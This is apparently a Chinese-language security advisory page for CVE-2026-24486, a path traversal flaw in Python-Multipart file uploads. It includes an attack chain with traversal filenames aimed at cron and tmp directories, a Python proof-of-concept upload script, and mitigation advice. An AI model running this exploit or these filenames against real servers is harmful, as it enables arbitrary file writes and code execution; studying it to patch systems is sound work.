IPBUF安全漏洞报告
English
CVE-2026-24486 CVSS 8.6 高危

CVE-2026-24486 Python-Multipart路径遍历漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-24486
漏洞类型
路径遍历
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Python-Multipart

相关标签

路径遍历Python-Multipart文件上传漏洞CVE-2026-24486高危漏洞FastAPIStarlette0.0.22以下版本

漏洞概述

Python-Multipart是Python语言中常用的流式多部分解析器,主要用于处理HTTP文件上传请求中的multipart/form-data格式数据。该库被广泛应用于FastAPI、Starlette等现代Python Web框架中。在0.0.22版本之前,当用户配置非默认的UPLOAD_DIR目录并启用UPLOAD_KEEP_FILENAME=True选项时,库未能正确验证和过滤用户提交的文件名。攻击者可以通过构造包含路径遍历序列(如../)的恶意文件名,使上传的文件被写入服务器文件系统的任意位置。攻击成功后,攻击者可能覆盖系统关键文件、植入恶意代码或读取敏感信息,对应用程序的安全性造成严重威胁。由于该漏洞利用无需认证且可通过网络远程触发,因此具有较高的实际危害性。

技术细节

漏洞根源在于python-multipart库在保存上传文件时,直接使用用户提供的原始文件名进行文件路径拼接,而未对文件名中的路径遍历字符进行充分过滤。具体来说,当UPLOAD_KEEP_FILENAME=True时,代码会保留文件的原始名称而非生成随机文件名,此时如果文件名包含../等目录遍历序列,文件可能被写入UPLOAD_DIR之外的目录。攻击者通过构造类似../../../etc/cron.d/malicious的文件名,配合恶意文件内容,可实现向系统关键目录写入文件。CVSS 3.1评分8.6(高危)反映了该漏洞的高可利用性和中等机密性影响、高完整性影响及低可用性影响的特征。修复版本0.0.22在文件保存逻辑中增加了路径规范化检查,防止目录遍历攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用了python-multipart库处理文件上传,并确认其配置了UPLOAD_DIR和UPLOAD_KEEP_FILENAME=True
STEP 2
步骤2: 构造恶意请求
攻击者构造包含路径遍历序列的文件名,如../../../etc/cron.d/malicious或../../app/static/../../../tmp/backdoor
STEP 3
步骤3: 发送恶意上传请求
通过HTTP POST请求将包含恶意文件名和payload的文件上传到目标服务器
STEP 4
步骤4: 文件写入目标位置
由于缺少路径验证,恶意文件被写入UPLOAD_DIR之外的任意目录,实现目录遍历攻击
STEP 5
步骤5: 触发执行/获取权限
根据写入位置,攻击者可实现远程代码执行、权限提升或持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24486 Path Traversal PoC # Target: Server using python-multipart with UPLOAD_KEEP_FILENAME=True import requests import sys def exploit_upload(target_url, filename_traversal, malicious_content): """ Exploit path traversal vulnerability in python-multipart UPLOAD_DIR must be configured and UPLOAD_KEEP_FILENAME=True """ files = { 'file': (filename_traversal, malicious_content, 'text/plain') } try: response = requests.post(target_url, files=files, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Filename: {filename_traversal}") print(f"[*] Status Code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000/upload" # Example: Write to /tmp via path traversal # Adjust traversal depth based on UPLOAD_DIR configuration malicious_filename = "../../../tmp/pwned_shell.sh" malicious_content = "#!/bin/bash\n# Malicious payload" exploit_upload(target, malicious_filename, malicious_content)

影响范围

python-multipart < 0.0.22

防御指南

临时缓解措施
如果暂时无法升级到修复版本,建议在项目配置中禁用UPLOAD_KEEP_FILENAME=True选项,改用自动生成的随机文件名存储上传文件。同时对上传文件名进行严格的输入验证,拒绝包含路径遍历字符(../、..\、/等)的文件名。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表